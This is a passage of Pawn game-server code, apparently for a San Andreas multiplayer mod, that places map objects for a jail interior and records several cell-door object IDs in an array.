	CreateDynamicObject(970, 1765.96826, -1568.79346, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1765.96826, -1572.91370, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1765.96826, -1577.03479, 1996.86401,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(970, 1762.48816, -1543.23035, 1999.48328,   0.00000, -33.89999, 0.00000);
	CreateDynamicObject(970, 1760.37976, -1543.23035, 1998.06799,   0.00000, -33.89999, 0.00000);
	CreateDynamicObject(970, 1762.48816, -1538.65955, 1999.48328,   0.00000, -33.89999, 0.00000);
	CreateDynamicObject(970, 1760.37976, -1538.63855, 1998.06799,   0.00000, -33.89999, 0.00000);
	//CreateDynamicObject(7191, 1794.08398, -1538.95190, 1998.26892,   0.00000, 180.00000, 270.00000);
	ZendanInfo[10][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1541.96106, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1540.24060, 1997.60889,   0.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1543.24182, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1543.25183, 1998.26892,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1541.11108, 1999.48071,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1549.68433, 1995.72969,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1814.04651, -1577.68970, 2004.17224,   0.00000, 270.00000, 270.00000);
	//CreateDynamicObject(7191, 1744.86584, -1561.08081, 1998.44885,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(8661, 1784.43811, -1530.63879, 2000.44104,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(2602, 1746.70239, -1543.77087, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19302, 1771.63562, -1544.52173, 1997.60889,   0.00000, 0.00000, 270.00000);
	ZendanInfo[11][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1546.21191, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1545.40149, 1999.48071,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1547.48352, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1547.50208, 1998.26892,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1548.77246, 1997.60889,   0.00000, 0.00000, 270.00000);
	ZendanInfo[12][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1550.48279, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1549.60242, 1999.48071,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1551.74414, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1551.75281, 1998.26892,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1553.01294, 1997.60889,   0.00000, 0.00000, 270.00000);
	ZendanInfo[13][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1554.73242, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1556.00537, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1556.01331, 1998.26892,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1553.84351, 1999.48071,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1748.50867, -1546.88086, 1996.34863,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1557.28284, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1748.50867, -1551.17346, 1996.35864,   0.00000, 0.00000, 90.00000);
	ZendanInfo[14][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1558.96326, 1997.60889,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1560.23682, 1997.86853,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(1800, 1748.50867, -1555.44531, 1996.36865,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1560.24353, 1998.26892,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1748.50867, -1559.69788, 1996.35864,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1558.09424, 1999.50073,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1748.50867, -1563.91956, 1996.34863,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1748.50867, -1568.25098, 1996.36865,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1561.51489, 1997.60889,   0.00000, 0.00000, 270.00000);
	ZendanInfo[15][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1563.21362, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1562.40479, 1999.48071,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1564.46790, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1564.47400, 1998.26892,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1748.50867, -1572.47180, 1996.38867,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1565.74622, 1997.60889,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1748.50867, -1576.74316, 1996.36865,   0.00000, 0.00000, 90.00000);
	ZendanInfo[16][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1567.44446, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1566.62500, 1999.48071,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1568.71924, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1568.74463, 1998.26892,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.67236, -1539.89001, 1996.36853,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1570.02637, 1997.60889,   0.00000, 0.00000, 270.00000);
	ZendanInfo[17][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1571.72595, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1570.88525, 1999.48071,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.67236, -1544.16150, 1996.38855,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1573.00977, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1573.01636, 1998.26892,   180.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1577.38928, 1994.46838,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1778.67236, -1548.41199, 1996.37854,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1574.29749, 1997.60889,   0.00000, 0.00000, 270.00000);
	ZendanInfo[18][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1576.03638, 1997.60889,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.67236, -1552.65320, 1996.33850,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1771.64087, -1575.15613, 1999.48071,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.67236, -1556.96606, 1996.33850,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.67236, -1561.13745, 1996.33850,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.67236, -1565.37903, 1996.35852,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1737.73669, -1576.10242, 1996.35950,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(1800, 1778.67236, -1569.66077, 1996.35852,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1737.73669, -1556.16357, 1996.35950,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(1800, 1778.67236, -1573.90186, 1996.33850,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(8661, 1748.19653, -1567.83203, 1992.67004,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19302, 1751.70129, -1576.12830, 1993.88770,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1573.14868, 1994.39758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1575.27686, 1995.73070,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1573.10706, 1994.58789,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(8614, 1758.65491, -1578.67761, 1990.79749,   0.00000, 180.00000, 90.00000);
	CreateDynamicObject(8661, 1785.99878, -1575.86108, 1996.35950,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1748.19653, -1547.87012, 1992.67004,   0.00000, 0.00000, 0.00000);
	//CreateDynamicObject(7191, 1744.86584, -1561.08081, 1994.59607,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(1800, 1748.54736, -1576.77051, 1992.65906,   0.00000, 0.00000, 90.00000);
	ZendanInfo[19][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1574.41589, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(8661, 1737.73669, -1536.21228, 1996.35950,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(8661, 1785.86658, -1576.10242, 1996.35950,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(8661, 1785.86658, -1556.17297, 1996.35950,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(8661, 1750.70068, -1536.21228, 1996.35950,   0.00000, 180.00000, 0.00000);
	CreateDynamicObject(8661, 1787.77686, -1547.87012, 1992.67004,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(8661, 1787.77686, -1567.77063, 1992.67004,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1800, 1748.54736, -1572.48010, 1992.65906,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1748.54736, -1568.23682, 1992.65906,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1751.70129, -1571.83716, 1993.88770,   0.00000, 0.00000, 90.00000);
	ZendanInfo[20][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1570.09607, 1993.88770,   0.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1729.17273, -1568.84680, 1994.46655,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1568.82605, 1994.54749,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1748.54736, -1563.93420, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1564.54626, 1994.49829,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1564.51587, 1994.53809,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1748.54736, -1559.73206, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1560.31592, 1994.31824,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1560.28528, 1994.36865,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1748.54736, -1555.48938, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1556.08545, 1994.33801,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1556.06409, 1994.49829,   180.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1777.74475, -1555.70300, 1994.55725,   0.00000, 360.00000, 0.00000);
	CreateDynamicObject(1800, 1748.54736, -1551.17639, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1551.80554, 1994.49841,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1551.78284, 1994.37805,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1748.54736, -1546.89502, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17273, -1547.53394, 1994.40869,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1748.54736, -1542.66357, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1547.50330, 1994.50757,   180.00000, 0.00000, 270.00000);
	//CreateDynamicObject(7191, 1729.17273, -1543.27271, 1994.42798,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.17505, -1543.24182, 1994.43884,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(1800, 1778.70972, -1539.84143, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1729.10266, -1538.95190, 1994.37769,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.08398, -1538.95190, 1994.48743,   0.00000, 180.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1543.24182, 1994.47681,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(1800, 1778.70972, -1544.12256, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1543.25183, 1994.52820,   180.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1547.48352, 1994.33716,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(1800, 1778.70972, -1548.36108, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1547.50208, 1994.56763,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.70972, -1552.65125, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1551.74414, 1994.40796,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(1800, 1778.70972, -1556.91016, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1551.75281, 1994.51868,   180.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1556.00537, 1994.20813,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(1800, 1778.70972, -1561.11975, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1556.01331, 1994.54858,   180.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1560.23682, 1994.26770,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(1800, 1778.70972, -1565.38013, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1560.24353, 1994.37805,   180.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1564.46790, 1994.31799,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(1800, 1778.70972, -1569.67065, 1992.65906,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1564.47400, 1994.39795,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(1800, 1778.70972, -1573.90063, 1992.63904,   0.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1568.71924, 1994.51746,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1568.74463, 1994.37805,   180.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1573.00977, 1994.45776,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1573.01636, 1994.38794,   180.00000, 0.00000, 90.00000);
	//CreateDynamicObject(7191, 1794.09277, -1577.30994, 1997.86853,   0.00000, 360.00000, 270.00000);
	//CreateDynamicObject(7191, 1794.09277, -1577.30994, 1994.36829,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1570.99597, 1995.73070,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1751.70129, -1567.56628, 1993.88770,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(2602, 1746.30432, -1539.43347, 1993.17786,   0.00000, 0.00000, 0.00000);
	ZendanInfo[21][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1565.83521, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1566.68530, 1995.73070,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1751.70129, -1563.23535, 1993.88770,   0.00000, 0.00000, 90.00000);
	ZendanInfo[22][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1561.56396, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1562.32458, 1995.73070,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1751.70129, -1559.00439, 1993.88770,   0.00000, 0.00000, 90.00000);
	ZendanInfo[23][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1557.32300, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1558.23364, 1995.73070,   0.00000, 0.00000, 90.00000);
	ZendanInfo[24][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1553.05078, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19302, 1751.70129, -1554.75317, 1993.88770,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19304, 1751.71753, -1553.89343, 1995.73070,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1751.70129, -1550.49255, 1993.88770,   0.00000, 0.00000, 90.00000);
	ZendanInfo[25][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1548.77930, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1549.66382, 1995.73070,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1751.70129, -1546.25208, 1993.88770,   0.00000, 0.00000, 90.00000);
	ZendanInfo[26][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1544.53809, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1545.43311, 1995.73070,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1751.70129, -1541.96118, 1993.88770,   0.00000, 0.00000, 90.00000);
	ZendanInfo[27][ciObjID] = CreateDynamicObject(19302, 1751.70129, -1540.22815, 1993.88770,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1751.71753, -1541.07336, 1995.73070,   0.00000, 0.00000, 90.00000);
	ZendanInfo[36][ciObjID] = CreateDynamicObject(19302, 1771.63574, -1576.03638, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1574.29749, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1575.15613, 1995.72969,   0.00000, 0.00000, 90.00000);
	ZendanInfo[35][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1571.75598, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1570.00732, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1570.86548, 1995.72969,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1209, 1760.69385, -1566.40222, 2000.44995,   0.00000, 0.00000, 90.00000);
	ZendanInfo[34][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1567.44543, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1565.72693, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1566.64478, 1995.72969,   0.00000, 0.00000, 90.00000);
	ZendanInfo[33][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1563.21521, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1561.50671, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1562.29541, 1995.72969,   0.00000, 0.00000, 90.00000);
	ZendanInfo[32][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1558.98413, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1557.27612, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1558.16479, 1995.72969,   0.00000, 0.00000, 90.00000);
	ZendanInfo[31][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1554.71362, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1553.02563, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1553.91382, 1995.72969,   0.00000, 0.00000, 90.00000);
	ZendanInfo[30][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1550.46265, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1548.74451, 1993.89758,   0.00000, 0.00000, 270.00000);
	ZendanInfo[29][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1546.21228, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1544.51392, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1545.33423, 1995.72969,   0.00000, 0.00000, 90.00000);
	ZendanInfo[28][ciObjID] = CreateDynamicObject(19302, 1771.63562, -1541.96216, 1993.89758,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19302, 1771.63562, -1540.25244, 1993.89758,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(19304, 1771.64087, -1541.10327, 1995.72969,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1768.92444, -1545.66089, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1808, 1760.62598, -1567.61597, 2000.43945,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(19358, 1768.92444, -1539.74133, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19388, 1768.92444, -1542.70117, 2002.20056,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2205, 1762.94946, -1541.28699, 1992.46863,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(2602, 1746.30542, -1539.39746, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.54199, -1548.03125, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.54199, -1552.27124, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.54199, -1556.57117, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.54199, -1560.79126, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.54199, -1565.03125, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.54199, -1569.33130, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.54199, -1573.63135, 1996.89539,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1776.25537, -1542.75208, 1996.89539,   0.00000, 0.00000, 180.00000);
	//CreateDynamicObject(7191, 1777.74475, -1555.70300, 1998.45715,   0.00000, 360.00000, 0.00000);
	CreateDynamicObject(2602, 1776.33008, -1547.01050, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1776.28479, -1551.30457, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1776.33008, -1555.55054, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1776.33008, -1559.77063, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1776.33008, -1563.99060, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1776.33008, -1568.23059, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1776.33008, -1572.55066, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1776.33008, -1576.81079, 1996.89539,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1746.54199, -1573.63135, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.53687, -1569.33118, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.53687, -1564.99622, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.53687, -1560.80322, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.53687, -1556.56726, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.53687, -1552.29224, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.53687, -1548.02222, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1746.53687, -1543.75818, 1993.16492,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2602, 1775.94910, -1542.76038, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94910, -1547.00037, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1551.26440, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1555.53040, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1555.53040, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1559.76636, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1564.00842, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1568.25342, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1572.52039, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(2602, 1775.94714, -1576.84338, 1993.17786,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(3857, 1772.07666, -1574.79248, 2004.27051,   0.00000, 0.00000, -44.90002);
	CreateDynamicObject(7191, 1729.17273, -1564.54626, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1564.51587, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1568.84680, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1568.82605, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1744.86584, -1561.08081, 1994.59607,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(7191, 1729.17505, -1573.10706, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1573.14868, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1573.00977, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1573.01636, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1577.38928, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1568.71924, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1568.74463, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1564.46790, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1564.47400, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1560.24353, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1560.23682, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1556.00537, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1556.01331, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1551.74414, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1551.75281, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1547.48352, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1547.50208, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1744.86584, -1561.08081, 1998.44885,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(7191, 1794.09277, -1543.24182, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1543.25183, 1998.46887,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.08398, -1538.95190, 1998.46887,   0.00000, 180.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17505, -1577.38928, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17505, -1573.10706, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1573.14868, 1998.44885,   0.00000, 0.00000, 90.00000);
